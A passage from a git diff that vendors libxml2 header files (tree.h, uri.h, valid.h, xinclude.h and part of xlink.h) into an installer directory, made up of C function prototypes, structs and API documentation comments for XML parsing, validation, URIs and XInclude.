*/ +XMLPUBFUN void XMLCALL + xmlBufferWriteCHAR (xmlBufferPtr buf, + const xmlChar *string); +XMLPUBFUN void XMLCALL + xmlBufferWriteChar (xmlBufferPtr buf, + const char *string); +XMLPUBFUN void XMLCALL + xmlBufferWriteQuotedString(xmlBufferPtr buf, + const xmlChar *string); + +#ifdef LIBXML_OUTPUT_ENABLED +XMLPUBFUN void xmlAttrSerializeTxtContent(xmlBufferPtr buf, + xmlDocPtr doc, + xmlAttrPtr attr, + const xmlChar *string); +#endif /* LIBXML_OUTPUT_ENABLED */ + +#ifdef LIBXML_TREE_ENABLED +/* + * Namespace handling. + */ +XMLPUBFUN int XMLCALL + xmlReconciliateNs (xmlDocPtr doc, + xmlNodePtr tree); +#endif + +#ifdef LIBXML_OUTPUT_ENABLED +/* + * Saving. + */ +XMLPUBFUN void XMLCALL + xmlDocDumpFormatMemory (xmlDocPtr cur, + xmlChar **mem, + int *size, + int format); +XMLPUBFUN void XMLCALL + xmlDocDumpMemory (xmlDocPtr cur, + xmlChar **mem, + int *size); +XMLPUBFUN void XMLCALL + xmlDocDumpMemoryEnc (xmlDocPtr out_doc, + xmlChar **doc_txt_ptr, + int * doc_txt_len, + const char *txt_encoding); +XMLPUBFUN void XMLCALL + xmlDocDumpFormatMemoryEnc(xmlDocPtr out_doc, + xmlChar **doc_txt_ptr, + int * doc_txt_len, + const char *txt_encoding, + int format); +XMLPUBFUN int XMLCALL + xmlDocFormatDump (FILE *f, + xmlDocPtr cur, + int format); +XMLPUBFUN int XMLCALL + xmlDocDump (FILE *f, + xmlDocPtr cur); +XMLPUBFUN void XMLCALL + xmlElemDump (FILE *f, + xmlDocPtr doc, + xmlNodePtr cur); +XMLPUBFUN int XMLCALL + xmlSaveFile (const char *filename, + xmlDocPtr cur); +XMLPUBFUN int XMLCALL + xmlSaveFormatFile (const char *filename, + xmlDocPtr cur, + int format); +XMLPUBFUN size_t XMLCALL + xmlBufNodeDump (xmlBufPtr buf, + xmlDocPtr doc, + xmlNodePtr cur, + int level, + int format); +XMLPUBFUN int XMLCALL + xmlNodeDump (xmlBufferPtr buf, + xmlDocPtr doc, + xmlNodePtr cur, + int level, + int format); + +XMLPUBFUN int XMLCALL + xmlSaveFileTo (xmlOutputBufferPtr buf, + xmlDocPtr cur, + const char *encoding); +XMLPUBFUN int XMLCALL + xmlSaveFormatFileTo (xmlOutputBufferPtr buf, + xmlDocPtr cur, + const char *encoding, + int format); +XMLPUBFUN void XMLCALL + xmlNodeDumpOutput (xmlOutputBufferPtr buf, + xmlDocPtr doc, + xmlNodePtr cur, + int level, + int format, + const char *encoding); + +XMLPUBFUN int XMLCALL + xmlSaveFormatFileEnc (const char *filename, + xmlDocPtr cur, + const char *encoding, + int format); + +XMLPUBFUN int XMLCALL + xmlSaveFileEnc (const char *filename, + xmlDocPtr cur, + const char *encoding); + +#endif /* LIBXML_OUTPUT_ENABLED */ +/* + * XHTML + */ +XMLPUBFUN int XMLCALL + xmlIsXHTML (const xmlChar *systemID, + const xmlChar *publicID); + +/* + * Compression. + */ +XMLPUBFUN int XMLCALL + xmlGetDocCompressMode (const xmlDoc *doc); +XMLPUBFUN void XMLCALL + xmlSetDocCompressMode (xmlDocPtr doc, + int mode); +XMLPUBFUN int XMLCALL + xmlGetCompressMode (void); +XMLPUBFUN void XMLCALL + xmlSetCompressMode (int mode); + +/* +* DOM-wrapper helper functions. +*/ +XMLPUBFUN xmlDOMWrapCtxtPtr XMLCALL + xmlDOMWrapNewCtxt (void); +XMLPUBFUN void XMLCALL + xmlDOMWrapFreeCtxt (xmlDOMWrapCtxtPtr ctxt); +XMLPUBFUN int XMLCALL + xmlDOMWrapReconcileNamespaces(xmlDOMWrapCtxtPtr ctxt, + xmlNodePtr elem, + int options); +XMLPUBFUN int XMLCALL + xmlDOMWrapAdoptNode (xmlDOMWrapCtxtPtr ctxt, + xmlDocPtr sourceDoc, + xmlNodePtr node, + xmlDocPtr destDoc, + xmlNodePtr destParent, + int options); +XMLPUBFUN int XMLCALL + xmlDOMWrapRemoveNode (xmlDOMWrapCtxtPtr ctxt, + xmlDocPtr doc, + xmlNodePtr node, + int options); +XMLPUBFUN int XMLCALL + xmlDOMWrapCloneNode (xmlDOMWrapCtxtPtr ctxt, + xmlDocPtr sourceDoc, + xmlNodePtr node, + xmlNodePtr *clonedNode, + xmlDocPtr destDoc, + xmlNodePtr destParent, + int deep, + int options); + +#ifdef LIBXML_TREE_ENABLED +/* + * 5 interfaces from DOM ElementTraversal, but different in entities + * traversal. + */ +XMLPUBFUN unsigned long XMLCALL + xmlChildElementCount (xmlNodePtr parent); +XMLPUBFUN xmlNodePtr XMLCALL + xmlNextElementSibling (xmlNodePtr node); +XMLPUBFUN xmlNodePtr XMLCALL + xmlFirstElementChild (xmlNodePtr parent); +XMLPUBFUN xmlNodePtr XMLCALL + xmlLastElementChild (xmlNodePtr parent); +XMLPUBFUN xmlNodePtr XMLCALL + xmlPreviousElementSibling (xmlNodePtr node); +#endif +#ifdef __cplusplus +} +#endif +#ifndef __XML_PARSER_H__ +#include +#endif + +#endif /* __XML_TREE_H__ */ + diff --git a/installer/libxml2/include/libxml/uri.h b/installer/libxml2/include/libxml/uri.h new file mode 100644 index 0000000..db48262 --- /dev/null +++ b/installer/libxml2/include/libxml/uri.h @@ -0,0 +1,94 @@ +/** + * Summary: library of generic URI related routines + * Description: library of generic URI related routines + * Implements RFC 2396 + * + * Copy: See Copyright for the status of this software. + * + * Author: Daniel Veillard + */ + +#ifndef __XML_URI_H__ +#define __XML_URI_H__ + +#include +#include + +#ifdef __cplusplus +extern "C" { +#endif + +/** + * xmlURI: + * + * A parsed URI reference. This is a struct containing the various fields + * as described in RFC 2396 but separated for further processing. + * + * Note: query is a deprecated field which is incorrectly unescaped. + * query_raw takes precedence over query if the former is set. + * See: http://mail.gnome.org/archives/xml/2007-April/thread.html#00127 + */ +typedef struct _xmlURI xmlURI; +typedef xmlURI *xmlURIPtr; +struct _xmlURI { + char *scheme; /* the URI scheme */ + char *opaque; /* opaque part */ + char *authority; /* the authority part */ + char *server; /* the server part */ + char *user; /* the user part */ + int port; /* the port number */ + char *path; /* the path string */ + char *query; /* the query string (deprecated - use with caution) */ + char *fragment; /* the fragment identifier */ + int cleanup; /* parsing potentially unclean URI */ + char *query_raw; /* the query string (as it appears in the URI) */ +}; + +/* + * This function is in tree.h: + * xmlChar * xmlNodeGetBase (xmlDocPtr doc, + * xmlNodePtr cur); + */ +XMLPUBFUN xmlURIPtr XMLCALL + xmlCreateURI (void); +XMLPUBFUN xmlChar * XMLCALL + xmlBuildURI (const xmlChar *URI, + const xmlChar *base); +XMLPUBFUN xmlChar * XMLCALL + xmlBuildRelativeURI (const xmlChar *URI, + const xmlChar *base); +XMLPUBFUN xmlURIPtr XMLCALL + xmlParseURI (const char *str); +XMLPUBFUN xmlURIPtr XMLCALL + xmlParseURIRaw (const char *str, + int raw); +XMLPUBFUN int XMLCALL + xmlParseURIReference (xmlURIPtr uri, + const char *str); +XMLPUBFUN xmlChar * XMLCALL + xmlSaveUri (xmlURIPtr uri); +XMLPUBFUN void XMLCALL + xmlPrintURI (FILE *stream, + xmlURIPtr uri); +XMLPUBFUN xmlChar * XMLCALL + xmlURIEscapeStr (const xmlChar *str, + const xmlChar *list); +XMLPUBFUN char * XMLCALL + xmlURIUnescapeString (const char *str, + int len, + char *target); +XMLPUBFUN int XMLCALL + xmlNormalizeURIPath (char *path); +XMLPUBFUN xmlChar * XMLCALL + xmlURIEscape (const xmlChar *str); +XMLPUBFUN void XMLCALL + xmlFreeURI (xmlURIPtr uri); +XMLPUBFUN xmlChar* XMLCALL + xmlCanonicPath (const xmlChar *path); +XMLPUBFUN xmlChar* XMLCALL + xmlPathToURI (const xmlChar *path); + +#ifdef __cplusplus +} +#endif +#endif /* __XML_URI_H__ */ diff --git a/installer/libxml2/include/libxml/valid.h b/installer/libxml2/include/libxml/valid.h new file mode 100644 index 0000000..2bc7b38 --- /dev/null +++ b/installer/libxml2/include/libxml/valid.h @@ -0,0 +1,458 @@ +/* + * Summary: The DTD validation + * Description: API for the DTD handling and the validity checking + * + * Copy: See Copyright for the status of this software. + * + * Author: Daniel Veillard + */ + + +#ifndef __XML_VALID_H__ +#define __XML_VALID_H__ + +#include +#include +#include +#include +#include +#include + +#ifdef __cplusplus +extern "C" { +#endif + +/* + * Validation state added for non-determinist content model. + */ +typedef struct _xmlValidState xmlValidState; +typedef xmlValidState *xmlValidStatePtr; + +/** + * xmlValidityErrorFunc: + * @ctx: usually an xmlValidCtxtPtr to a validity error context, + * but comes from ctxt->userData (which normally contains such + * a pointer); ctxt->userData can be changed by the user. + * @msg: the string to format *printf like vararg + * @...: remaining arguments to the format + * + * Callback called when a validity error is found. This is a message + * oriented function similar to an *printf function. + */ +typedef void (XMLCDECL *xmlValidityErrorFunc) (void *ctx, + const char *msg, + ...) LIBXML_ATTR_FORMAT(2,3); + +/** + * xmlValidityWarningFunc: + * @ctx: usually an xmlValidCtxtPtr to a validity error context, + * but comes from ctxt->userData (which normally contains such + * a pointer); ctxt->userData can be changed by the user. + * @msg: the string to format *printf like vararg + * @...: remaining arguments to the format + * + * Callback called when a validity warning is found. This is a message + * oriented function similar to an *printf function. + */ +typedef void (XMLCDECL *xmlValidityWarningFunc) (void *ctx, + const char *msg, + ...) LIBXML_ATTR_FORMAT(2,3); + +#ifdef IN_LIBXML +/** + * XML_CTXT_FINISH_DTD_0: + * + * Special value for finishDtd field when embedded in an xmlParserCtxt + */ +#define XML_CTXT_FINISH_DTD_0 0xabcd1234 +/** + * XML_CTXT_FINISH_DTD_1: + * + * Special value for finishDtd field when embedded in an xmlParserCtxt + */ +#define XML_CTXT_FINISH_DTD_1 0xabcd1235 +#endif + +/* + * xmlValidCtxt: + * An xmlValidCtxt is used for error reporting when validating. + */ +typedef struct _xmlValidCtxt xmlValidCtxt; +typedef xmlValidCtxt *xmlValidCtxtPtr; +struct _xmlValidCtxt { + void *userData; /* user specific data block */ + xmlValidityErrorFunc error; /* the callback in case of errors */ + xmlValidityWarningFunc warning; /* the callback in case of warning */ + + /* Node analysis stack used when validating within entities */ + xmlNodePtr node; /* Current parsed Node */ + int nodeNr; /* Depth of the parsing stack */ + int nodeMax; /* Max depth of the parsing stack */ + xmlNodePtr *nodeTab; /* array of nodes */ + + unsigned int finishDtd; /* finished validating the Dtd ? */ + xmlDocPtr doc; /* the document */ + int valid; /* temporary validity check result */ + + /* state state used for non-determinist content validation */ + xmlValidState *vstate; /* current state */ + int vstateNr; /* Depth of the validation stack */ + int vstateMax; /* Max depth of the validation stack */ + xmlValidState *vstateTab; /* array of validation states */ + +#ifdef LIBXML_REGEXP_ENABLED + xmlAutomataPtr am; /* the automata */ + xmlAutomataStatePtr state; /* used to build the automata */ +#else + void *am; + void *state; +#endif +}; + +/* + * ALL notation declarations are stored in a table. + * There is one table per DTD. + */ + +typedef struct _xmlHashTable xmlNotationTable; +typedef xmlNotationTable *xmlNotationTablePtr; + +/* + * ALL element declarations are stored in a table. + * There is one table per DTD. + */ + +typedef struct _xmlHashTable xmlElementTable; +typedef xmlElementTable *xmlElementTablePtr; + +/* + * ALL attribute declarations are stored in a table. + * There is one table per DTD. + */ + +typedef struct _xmlHashTable xmlAttributeTable; +typedef xmlAttributeTable *xmlAttributeTablePtr; + +/* + * ALL IDs attributes are stored in a table. + * There is one table per document. + */ + +typedef struct _xmlHashTable xmlIDTable; +typedef xmlIDTable *xmlIDTablePtr; + +/* + * ALL Refs attributes are stored in a table. + * There is one table per document. + */ + +typedef struct _xmlHashTable xmlRefTable; +typedef xmlRefTable *xmlRefTablePtr; + +/* Notation */ +XMLPUBFUN xmlNotationPtr XMLCALL + xmlAddNotationDecl (xmlValidCtxtPtr ctxt, + xmlDtdPtr dtd, + const xmlChar *name, + const xmlChar *PublicID, + const xmlChar *SystemID); +#ifdef LIBXML_TREE_ENABLED +XMLPUBFUN xmlNotationTablePtr XMLCALL + xmlCopyNotationTable (xmlNotationTablePtr table); +#endif /* LIBXML_TREE_ENABLED */ +XMLPUBFUN void XMLCALL + xmlFreeNotationTable (xmlNotationTablePtr table); +#ifdef LIBXML_OUTPUT_ENABLED +XMLPUBFUN void XMLCALL + xmlDumpNotationDecl (xmlBufferPtr buf, + xmlNotationPtr nota); +XMLPUBFUN void XMLCALL + xmlDumpNotationTable (xmlBufferPtr buf, + xmlNotationTablePtr table); +#endif /* LIBXML_OUTPUT_ENABLED */ + +/* Element Content */ +/* the non Doc version are being deprecated */ +XMLPUBFUN xmlElementContentPtr XMLCALL + xmlNewElementContent (const xmlChar *name, + xmlElementContentType type); +XMLPUBFUN xmlElementContentPtr XMLCALL + xmlCopyElementContent (xmlElementContentPtr content); +XMLPUBFUN void XMLCALL + xmlFreeElementContent (xmlElementContentPtr cur); +/* the new versions with doc argument */ +XMLPUBFUN xmlElementContentPtr XMLCALL + xmlNewDocElementContent (xmlDocPtr doc, + const xmlChar *name, + xmlElementContentType type); +XMLPUBFUN xmlElementContentPtr XMLCALL + xmlCopyDocElementContent(xmlDocPtr doc, + xmlElementContentPtr content); +XMLPUBFUN void XMLCALL + xmlFreeDocElementContent(xmlDocPtr doc, + xmlElementContentPtr cur); +XMLPUBFUN void XMLCALL + xmlSnprintfElementContent(char *buf, + int size, + xmlElementContentPtr content, + int englob); +#ifdef LIBXML_OUTPUT_ENABLED +/* DEPRECATED */ +XMLPUBFUN void XMLCALL + xmlSprintfElementContent(char *buf, + xmlElementContentPtr content, + int englob); +#endif /* LIBXML_OUTPUT_ENABLED */ +/* DEPRECATED */ + +/* Element */ +XMLPUBFUN xmlElementPtr XMLCALL + xmlAddElementDecl (xmlValidCtxtPtr ctxt, + xmlDtdPtr dtd, + const xmlChar *name, + xmlElementTypeVal type, + xmlElementContentPtr content); +#ifdef LIBXML_TREE_ENABLED +XMLPUBFUN xmlElementTablePtr XMLCALL + xmlCopyElementTable (xmlElementTablePtr table); +#endif /* LIBXML_TREE_ENABLED */ +XMLPUBFUN void XMLCALL + xmlFreeElementTable (xmlElementTablePtr table); +#ifdef LIBXML_OUTPUT_ENABLED +XMLPUBFUN void XMLCALL + xmlDumpElementTable (xmlBufferPtr buf, + xmlElementTablePtr table); +XMLPUBFUN void XMLCALL + xmlDumpElementDecl (xmlBufferPtr buf, + xmlElementPtr elem); +#endif /* LIBXML_OUTPUT_ENABLED */ + +/* Enumeration */ +XMLPUBFUN xmlEnumerationPtr XMLCALL + xmlCreateEnumeration (const xmlChar *name); +XMLPUBFUN void XMLCALL + xmlFreeEnumeration (xmlEnumerationPtr cur); +#ifdef LIBXML_TREE_ENABLED +XMLPUBFUN xmlEnumerationPtr XMLCALL + xmlCopyEnumeration (xmlEnumerationPtr cur); +#endif /* LIBXML_TREE_ENABLED */ + +/* Attribute */ +XMLPUBFUN xmlAttributePtr XMLCALL + xmlAddAttributeDecl (xmlValidCtxtPtr ctxt, + xmlDtdPtr dtd, + const xmlChar *elem, + const xmlChar *name, + const xmlChar *ns, + xmlAttributeType type, + xmlAttributeDefault def, + const xmlChar *defaultValue, + xmlEnumerationPtr tree); +#ifdef LIBXML_TREE_ENABLED +XMLPUBFUN xmlAttributeTablePtr XMLCALL + xmlCopyAttributeTable (xmlAttributeTablePtr table); +#endif /* LIBXML_TREE_ENABLED */ +XMLPUBFUN void XMLCALL + xmlFreeAttributeTable (xmlAttributeTablePtr table); +#ifdef LIBXML_OUTPUT_ENABLED +XMLPUBFUN void XMLCALL + xmlDumpAttributeTable (xmlBufferPtr buf, + xmlAttributeTablePtr table); +XMLPUBFUN void XMLCALL + xmlDumpAttributeDecl (xmlBufferPtr buf, + xmlAttributePtr attr); +#endif /* LIBXML_OUTPUT_ENABLED */ + +/* IDs */ +XMLPUBFUN xmlIDPtr XMLCALL + xmlAddID (xmlValidCtxtPtr ctxt, + xmlDocPtr doc, + const xmlChar *value, + xmlAttrPtr attr); +XMLPUBFUN void XMLCALL + xmlFreeIDTable (xmlIDTablePtr table); +XMLPUBFUN xmlAttrPtr XMLCALL + xmlGetID (xmlDocPtr doc, + const xmlChar *ID); +XMLPUBFUN int XMLCALL + xmlIsID (xmlDocPtr doc, + xmlNodePtr elem, + xmlAttrPtr attr); +XMLPUBFUN int XMLCALL + xmlRemoveID (xmlDocPtr doc, + xmlAttrPtr attr); + +/* IDREFs */ +XMLPUBFUN xmlRefPtr XMLCALL + xmlAddRef (xmlValidCtxtPtr ctxt, + xmlDocPtr doc, + const xmlChar *value, + xmlAttrPtr attr); +XMLPUBFUN void XMLCALL + xmlFreeRefTable (xmlRefTablePtr table); +XMLPUBFUN int XMLCALL + xmlIsRef (xmlDocPtr doc, + xmlNodePtr elem, + xmlAttrPtr attr); +XMLPUBFUN int XMLCALL + xmlRemoveRef (xmlDocPtr doc, + xmlAttrPtr attr); +XMLPUBFUN xmlListPtr XMLCALL + xmlGetRefs (xmlDocPtr doc, + const xmlChar *ID); + +/** + * The public function calls related to validity checking. + */ +#ifdef LIBXML_VALID_ENABLED +/* Allocate/Release Validation Contexts */ +XMLPUBFUN xmlValidCtxtPtr XMLCALL + xmlNewValidCtxt(void); +XMLPUBFUN void XMLCALL + xmlFreeValidCtxt(xmlValidCtxtPtr); + +XMLPUBFUN int XMLCALL + xmlValidateRoot (xmlValidCtxtPtr ctxt, + xmlDocPtr doc); +XMLPUBFUN int XMLCALL + xmlValidateElementDecl (xmlValidCtxtPtr ctxt, + xmlDocPtr doc, + xmlElementPtr elem); +XMLPUBFUN xmlChar * XMLCALL + xmlValidNormalizeAttributeValue(xmlDocPtr doc, + xmlNodePtr elem, + const xmlChar *name, + const xmlChar *value); +XMLPUBFUN xmlChar * XMLCALL + xmlValidCtxtNormalizeAttributeValue(xmlValidCtxtPtr ctxt, + xmlDocPtr doc, + xmlNodePtr elem, + const xmlChar *name, + const xmlChar *value); +XMLPUBFUN int XMLCALL + xmlValidateAttributeDecl(xmlValidCtxtPtr ctxt, + xmlDocPtr doc, + xmlAttributePtr attr); +XMLPUBFUN int XMLCALL + xmlValidateAttributeValue(xmlAttributeType type, + const xmlChar *value); +XMLPUBFUN int XMLCALL + xmlValidateNotationDecl (xmlValidCtxtPtr ctxt, + xmlDocPtr doc, + xmlNotationPtr nota); +XMLPUBFUN int XMLCALL + xmlValidateDtd (xmlValidCtxtPtr ctxt, + xmlDocPtr doc, + xmlDtdPtr dtd); +XMLPUBFUN int XMLCALL + xmlValidateDtdFinal (xmlValidCtxtPtr ctxt, + xmlDocPtr doc); +XMLPUBFUN int XMLCALL + xmlValidateDocument (xmlValidCtxtPtr ctxt, + xmlDocPtr doc); +XMLPUBFUN int XMLCALL + xmlValidateElement (xmlValidCtxtPtr ctxt, + xmlDocPtr doc, + xmlNodePtr elem); +XMLPUBFUN int XMLCALL + xmlValidateOneElement (xmlValidCtxtPtr ctxt, + xmlDocPtr doc, + xmlNodePtr elem); +XMLPUBFUN int XMLCALL + xmlValidateOneAttribute (xmlValidCtxtPtr ctxt, + xmlDocPtr doc, + xmlNodePtr elem, + xmlAttrPtr attr, + const xmlChar *value); +XMLPUBFUN int XMLCALL + xmlValidateOneNamespace (xmlValidCtxtPtr ctxt, + xmlDocPtr doc, + xmlNodePtr elem, + const xmlChar *prefix, + xmlNsPtr ns, + const xmlChar *value); +XMLPUBFUN int XMLCALL + xmlValidateDocumentFinal(xmlValidCtxtPtr ctxt, + xmlDocPtr doc); +#endif /* LIBXML_VALID_ENABLED */ + +#if defined(LIBXML_VALID_ENABLED) || defined(LIBXML_SCHEMAS_ENABLED) +XMLPUBFUN int XMLCALL + xmlValidateNotationUse (xmlValidCtxtPtr ctxt, + xmlDocPtr doc, + const xmlChar *notationName); +#endif /* LIBXML_VALID_ENABLED or LIBXML_SCHEMAS_ENABLED */ + +XMLPUBFUN int XMLCALL + xmlIsMixedElement (xmlDocPtr doc, + const xmlChar *name); +XMLPUBFUN xmlAttributePtr XMLCALL + xmlGetDtdAttrDesc (xmlDtdPtr dtd, + const xmlChar *elem, + const xmlChar *name); +XMLPUBFUN xmlAttributePtr XMLCALL + xmlGetDtdQAttrDesc (xmlDtdPtr dtd, + const xmlChar *elem, + const xmlChar *name, + const xmlChar *prefix); +XMLPUBFUN xmlNotationPtr XMLCALL + xmlGetDtdNotationDesc (xmlDtdPtr dtd, + const xmlChar *name); +XMLPUBFUN xmlElementPtr XMLCALL + xmlGetDtdQElementDesc (xmlDtdPtr dtd, + const xmlChar *name, + const xmlChar *prefix); +XMLPUBFUN xmlElementPtr XMLCALL + xmlGetDtdElementDesc (xmlDtdPtr dtd, + const xmlChar *name); + +#ifdef LIBXML_VALID_ENABLED + +XMLPUBFUN int XMLCALL + xmlValidGetPotentialChildren(xmlElementContent *ctree, + const xmlChar **names, + int *len, + int max); + +XMLPUBFUN int XMLCALL + xmlValidGetValidElements(xmlNode *prev, + xmlNode *next, + const xmlChar **names, + int max); +XMLPUBFUN int XMLCALL + xmlValidateNameValue (const xmlChar *value); +XMLPUBFUN int XMLCALL + xmlValidateNamesValue (const xmlChar *value); +XMLPUBFUN int XMLCALL + xmlValidateNmtokenValue (const xmlChar *value); +XMLPUBFUN int XMLCALL + xmlValidateNmtokensValue(const xmlChar *value); + +#ifdef LIBXML_REGEXP_ENABLED +/* + * Validation based on the regexp support + */ +XMLPUBFUN int XMLCALL + xmlValidBuildContentModel(xmlValidCtxtPtr ctxt, + xmlElementPtr elem); + +XMLPUBFUN int XMLCALL + xmlValidatePushElement (xmlValidCtxtPtr ctxt, + xmlDocPtr doc, + xmlNodePtr elem, + const xmlChar *qname); +XMLPUBFUN int XMLCALL + xmlValidatePushCData (xmlValidCtxtPtr ctxt, + const xmlChar *data, + int len); +XMLPUBFUN int XMLCALL + xmlValidatePopElement (xmlValidCtxtPtr ctxt, + xmlDocPtr doc, + xmlNodePtr elem, + const xmlChar *qname); +#endif /* LIBXML_REGEXP_ENABLED */ +#endif /* LIBXML_VALID_ENABLED */ +#ifdef __cplusplus +} +#endif +#endif /* __XML_VALID_H__ */ diff --git a/installer/libxml2/include/libxml/xinclude.h b/installer/libxml2/include/libxml/xinclude.h new file mode 100644 index 0000000..863ab25 --- /dev/null +++ b/installer/libxml2/include/libxml/xinclude.h @@ -0,0 +1,129 @@ +/* + * Summary: implementation of XInclude + * Description: API to handle XInclude processing, + * implements the + * World Wide Web Consortium Last Call Working Draft 10 November 2003 + * http://www.w3.org/TR/2003/WD-xinclude-20031110 + * + * Copy: See Copyright for the status of this software. + * + * Author: Daniel Veillard + */ + +#ifndef __XML_XINCLUDE_H__ +#define __XML_XINCLUDE_H__ + +#include +#include + +#ifdef LIBXML_XINCLUDE_ENABLED + +#ifdef __cplusplus +extern "C" { +#endif + +/** + * XINCLUDE_NS: + * + * Macro defining the Xinclude namespace: http://www.w3.org/2003/XInclude + */ +#define XINCLUDE_NS (const xmlChar *) "http://www.w3.org/2003/XInclude" +/** + * XINCLUDE_OLD_NS: + * + * Macro defining the draft Xinclude namespace: http://www.w3.org/2001/XInclude + */ +#define XINCLUDE_OLD_NS (const xmlChar *) "http://www.w3.org/2001/XInclude" +/** + * XINCLUDE_NODE: + * + * Macro defining "include" + */ +#define XINCLUDE_NODE (const xmlChar *) "include" +/** + * XINCLUDE_FALLBACK: + * + * Macro defining "fallback" + */ +#define XINCLUDE_FALLBACK (const xmlChar *) "fallback" +/** + * XINCLUDE_HREF: + * + * Macro defining "href" + */ +#define XINCLUDE_HREF (const xmlChar *) "href" +/** + * XINCLUDE_PARSE: + * + * Macro defining "parse" + */ +#define XINCLUDE_PARSE (const xmlChar *) "parse" +/** + * XINCLUDE_PARSE_XML: + * + * Macro defining "xml" + */ +#define XINCLUDE_PARSE_XML (const xmlChar *) "xml" +/** + * XINCLUDE_PARSE_TEXT: + * + * Macro defining "text" + */ +#define XINCLUDE_PARSE_TEXT (const xmlChar *) "text" +/** + * XINCLUDE_PARSE_ENCODING: + * + * Macro defining "encoding" + */ +#define XINCLUDE_PARSE_ENCODING (const xmlChar *) "encoding" +/** + * XINCLUDE_PARSE_XPOINTER: + * + * Macro defining "xpointer" + */ +#define XINCLUDE_PARSE_XPOINTER (const xmlChar *) "xpointer" + +typedef struct _xmlXIncludeCtxt xmlXIncludeCtxt; +typedef xmlXIncludeCtxt *xmlXIncludeCtxtPtr; + +/* + * standalone processing + */ +XMLPUBFUN int XMLCALL + xmlXIncludeProcess (xmlDocPtr doc); +XMLPUBFUN int XMLCALL + xmlXIncludeProcessFlags (xmlDocPtr doc, + int flags); +XMLPUBFUN int XMLCALL + xmlXIncludeProcessFlagsData(xmlDocPtr doc, + int flags, + void *data); +XMLPUBFUN int XMLCALL + xmlXIncludeProcessTreeFlagsData(xmlNodePtr tree, + int flags, + void *data); +XMLPUBFUN int XMLCALL + xmlXIncludeProcessTree (xmlNodePtr tree); +XMLPUBFUN int XMLCALL + xmlXIncludeProcessTreeFlags(xmlNodePtr tree, + int flags); +/* + * contextual processing + */ +XMLPUBFUN xmlXIncludeCtxtPtr XMLCALL + xmlXIncludeNewContext (xmlDocPtr doc); +XMLPUBFUN int XMLCALL + xmlXIncludeSetFlags (xmlXIncludeCtxtPtr ctxt, + int flags); +XMLPUBFUN void XMLCALL + xmlXIncludeFreeContext (xmlXIncludeCtxtPtr ctxt); +XMLPUBFUN int XMLCALL + xmlXIncludeProcessNode (xmlXIncludeCtxtPtr ctxt, + xmlNodePtr tree); +#ifdef __cplusplus +} +#endif + +#endif /* LIBXML_XINCLUDE_ENABLED */ + +#endif /* __XML_XINCLUDE_H__ */ diff --git a/installer/libxml2/include/libxml/xlink.h b/installer/libxml2/include/libxml/xlink.h new file mode 100644 index 0000000..a209a99 --- /dev/null +++ b/installer/libxml2/include/libxml/xlink.h @@ -0,0 +1,189 @@ +/* + * Summary: unfinished XLink detection module + * Description: unfinished XLink detection module + * + * Copy: See Copyright for the status of this software. + * + * Author: Daniel Veillard + */ + +#ifndef __XML_XLINK_H__ +#define __XML_XLINK_H__ + +#include +#include + +#ifdef LIBXML_XPTR_ENABLED + +#ifdef __cplusplus +extern "C" { +#endif + +/** + * Various defines for the various Link properties. + * + * NOTE: the link detection layer will try to resolve QName expansion + * of namespaces. If "foo" is the prefix for "http://foo.com/" + * then the link detection layer will expand role="foo:myrole" + * to "http://foo.com/:myrole". + * NOTE: the link detection layer will expand URI-Refences found on + * href attributes by using the base mechanism if found. + */ +typedef xmlChar *xlinkHRef; +typedef xmlChar *xlinkRole; +typedef xmlChar *xlinkTitle; + +typedef enum { + XLINK_TYPE_NONE = 0, + XLINK_TYPE_SIMPLE, + XLINK_TYPE_EXTENDED, + XLINK_TYPE_EXTENDED_SET +} xlinkType; + +typedef enum { + XLINK_SHOW_NONE = 0, + XLINK_SHOW_NEW, + XLINK_SHOW_EMBED, + XLINK_SHOW_REPLACE +} xlinkShow; + +typedef enum { + XLINK_ACTUATE_NONE = 0, + XLINK_ACTUATE_AUTO, + XLINK_ACTUATE_ONREQUEST +} xlinkActuate; + +/** + * xlinkNodeDetectFunc: + * @ctx: user data pointer + * @node: the node to check + * + * This is the prototype for the link detection routine. + * It calls the default link detection callbacks upon link detection. + */ +typedef void (*xlinkNodeDetectFunc) (void *ctx, xmlNodePtr node); + +/* + * The link detection module interact with the upper layers using + * a set of callback registered at parsing time. + */ + +/** + * xlinkSimpleLinkFunk: + * @ctx: user data pointer + * @node: the node carrying the link + * @href: the target of the link + * @role: the role string + * @title: the link title + * + * This is the prototype for a simple link detection callback. + */ +typedef void +(*xlinkSimpleLinkFunk) (void *ctx, + xmlNodePtr node, + const xlinkHRef href, + const xlinkRole role, + const xlinkTitle title); + +/** + * xlinkExtendedLinkFunk: + * @ctx: user data pointer + * @node: the node carrying the link + * @nbLocators: the number of locators detected on the link + * @hrefs: pointer to the array of locator hrefs + * @roles: pointer to the array of locator roles + * @nbArcs: the number of arcs detected on the link + * @from: pointer to the array of source roles found on the arcs + * @to: pointer to the array of target roles found on the arcs + * @show: array of values for the show attributes found on the arcs + * @actuate: array of values for the actuate attributes found on the arcs + * @nbTitles: the number of titles detected on the link + * @title: array of titles detected on the link + * @langs: array of xml:lang values for the titles + * + * This is the prototype for a extended link detection callback. + */ +typedef void +(*xlinkExtendedLinkFunk)(void *ctx, + xmlNodePtr node, + int nbLocators, + const xlinkHRef *hrefs, + const xlinkRole *roles, + int nbArcs, + const xlinkRole *from, + const xlinkRole *to, + xlinkShow *show, + xlinkActuate *actuate, + int nbTitles, + const xlinkTitle *titles, + const xmlChar **langs); + +/** + * xlinkExtendedLinkSetFunk: + * @ctx: user data pointer + * @node: the node carrying the link + * @nbLocators: the number of locators detected on the link + * @hrefs: pointer to the array of locator hrefs + * @roles: pointer to the array of locator roles + * @nbTitles: the number of titles detected on the link + * @title: array of titles detected on the link + * @langs: array of xml:lang values for the titles + * + * This is the prototype for a extended link set detection callback. + */ +typedef void +(*xlinkExtendedLinkSetFunk) (void *ctx, + xmlNodePtr node, + int nbLocators, + const xlinkHRef *hrefs, + const xlinkRole *roles, + int nbTitles, + const xlinkTitle *titles, + const xmlChar **langs); + +/** + * This is the structure containing a set of Links detection callbacks. + * + * There is no default xlink callbacks, if one want to get link + * recognition activated, those call backs must be provided before parsing. + */ +typedef struct _xlinkHandler xlinkHandler; +typedef xlinkHandler *xlinkHandlerPtr; +struct _xlinkHandler { + xlinkSimpleLinkFunk simple; + xlinkExtendedLinkFunk extended; + xlinkExtendedLinkSetFunk set; +}; + +/* + * The default detection routine, can be overridden, they call the default + * detection callbacks. + */ + +XMLPUBFUN xlinkNodeDetectFunc XMLCALL + xlinkGetDefaultDetect (void); +XMLPUBFUN void XMLCALL + xlinkSetDefaultDetect 